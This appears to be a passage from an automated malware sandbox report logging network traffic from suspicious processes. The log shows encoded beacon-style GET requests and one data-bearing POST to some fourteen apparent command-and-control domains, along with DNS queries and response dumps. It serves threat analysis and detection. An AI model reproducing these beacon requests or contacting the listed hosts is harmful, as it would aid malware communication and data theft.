Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 06 Nov 2024 07:41:12 GMTserver: Apacheset-cookie: __tad=1730878872.4430285; expires=Sat, 04-Nov-2034 07:41:12 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Source: global traffic	HTTP traffic detected: GET /hv6g/?SvrLY=3P8lALA&DDp=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.huiguang.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /79tr/?DDp=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hxmz/?DDp=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.futurevision.lifeConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /slxp/?DDp=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOifcAo6/043Os1binCTsQtgQiE2XfHHikdfzfjKFZR+NqLzPU/Xw=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.schedulemassage.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /0598/?SvrLY=3P8lALA&DDp=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4Tu+XiR6NXotGry9ANEeeRCoN4FhbxnBZSnIhm0SzK0MisIZlDjM= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mcfunding.orgConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /y3dc/?DDp=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tREfAnxyZwa91URYeYbxhv5bPljMHSbrvZtVpRz6w5PNfkG2YKS2Ps=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.migorengya8.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cD9BPWmhuph4utiW3Dhv00Os4z+1dRn6W+dMqbZ0s1lU/AMvHhe0= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.klohk.techConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rqnz/?DDp=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5j7kTaNGBLKG6O6VRta8dhdFdziPB3CVN6I/2AxSEUg2RCppISrE=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.d63dm.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /h26k/?DDp=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcHbS91xJIfYTkMJziJL2bz2TZCx10rmCstVSToHcp1Wua4EZrnYI=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.servannto.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ykhz/?DDp=enw3MzdkIinzycog2d+xaWpEHXfvQHhn7Q0Xf9Uq8WeILZ9WFoLyJZQsqpUbcYSzxWL6OSWVl3hVVR/aqS9N6hR069XLEnbGwgzEaDN1WPABKrmY5eDWHUcJ5DCyIOZX0iwQYxg=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.telforce.oneConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qutj/?SvrLY=3P8lALA&DDp=7+JhtXYoap6hQUSymN1iKxwf+aYIN87BChjykmSFD5cBOLIEN7eTZiNCYJGnmhE2/2tIBPcr+sPRMyccTmjbMYtkzAsmzkJCtDvOtemIhBWnTn54lM+8e5KyjQNsphyX8LHz3fM= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.cesach.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /knx2/?DDp=cx1F/qf6XWf+sqaNqgWjpjf2u/FJ3U1rCAFJJdWfl5OjgpHNlJW/Jou+UuCSZllgDcZAwgAs0R21dhdWF/X3usItMGO4lmDkyY4fIJ/HYM1kf3catma7zBplk9C6FFtSionVViQ=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.030002128.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /geci/?SvrLY=3P8lALA&DDp=OUcUcMiN7UFwaCotsW6AMJwehyiwg2RPC2z6ZMYslxYDHrlwQ88kbad89mN4OjllqHqnU6tumNLMTG1picng1VYsD50x98ZhJyamHAiRPzZYiWViTqiNWtopHV1ePKkjcICWV3I= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.auto-deals-cz-000.buzzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v58i/?DDp=IC0zr/ZDVxaNAMf8momja46h3KrCsn6WQsgf7AvDnsA3Q4GKUMSc84jsP15lI7VDCiKPTCHe1ALE8uTr9rusPZ5vALoLFqWsTHRljYdsCfeo56EDBh/tAO+VOLzkgSIV0llmzE8=&SvrLY=3P8lALA HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bzxs.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp

String found in binary or memory: <a href="https://www.facebook.com/piensasolutions" class="lower" target="_blank" title="S equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.huiguang.xyz
Source: global traffic	DNS traffic detected: DNS query: www.beingandbecoming.ltd
Source: global traffic	DNS traffic detected: DNS query: www.futurevision.life
Source: global traffic	DNS traffic detected: DNS query: www.schedulemassage.xyz
Source: global traffic	DNS traffic detected: DNS query: www.mcfunding.org
Source: global traffic	DNS traffic detected: DNS query: www.migorengya8.click
Source: global traffic	DNS traffic detected: DNS query: www.klohk.tech
Source: global traffic	DNS traffic detected: DNS query: www.d63dm.top
Source: global traffic	DNS traffic detected: DNS query: www.servannto.site
Source: global traffic	DNS traffic detected: DNS query: www.telforce.one
Source: global traffic	DNS traffic detected: DNS query: www.cesach.net
Source: global traffic	DNS traffic detected: DNS query: www.030002128.xyz
Source: global traffic	DNS traffic detected: DNS query: www.auto-deals-cz-000.buzz
Source: global traffic	DNS traffic detected: DNS query: www.bzxs.info
Source: global traffic	DNS traffic detected: DNS query: www.econsultoria.online

Source: unknown

HTTP traffic detected: POST /79tr/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 208Cache-Control: no-cacheOrigin: http://www.beingandbecoming.ltdReferer: http://www.beingandbecoming.ltd/79tr/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 44 44 70 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 38 74 32 63 56 55 6e 67 47 33 6d 37 43 62 68 33 39 57 50 49 52 36 32 77 2f 55 6d 4b 62 45 69 66 76 6f 5a 79 59 4b 38 48 38 56 68 6f 79 69 64 59 31 63 49 68 64 4c 41 6c 75 57 30 54 69 38 6e 55 65 58 70 51 59 62 39 4e 38 78 39 63 4b 43 4a 74 4b 59 44 50 42 6b 32 63 4d 37 79 68 34 65 55 52 36 2b 71 37 74 32 42 52 4a 48 63 50 4c 63 2f 36 73 38 34 71 6c 41 34 77 4f 6d 73 67 30 43 4a 79 51 4f 4d 63 6e 38 55 52 4d 69 52 56 4d 4f 41 44 4b 30 5a 67 57 35 2b 47 59 36 57 75 36 70 72 6d 2b 68 64 4b 79 4d 36 47 5a 72 64 34 38 62 72 4a 52 41 78 32 38 45 66 35 42 43 54 77 68 37 47 7a Data Ascii: DDp=iDQU2KTRHkQI8t2cVUngG3m7Cbh39WPIR62w/UmKbEifvoZyYK8H8VhoyidY1cIhdLAluW0Ti8nUeXpQYb9N8x9cKCJtKYDPBk2cM7yh4eUR6+q7t2BRJHcPLc/6s84qlA4wOmsg0CJyQOMcn8URMiRVMOADK0ZgW5+GY6Wu6prm+hdKyM6GZrd48brJRAx28Ef5BCTwh7Gz

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:40:12 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:40:15 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:40:17 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:40:20 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 06 Nov 2024 07:40:53 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 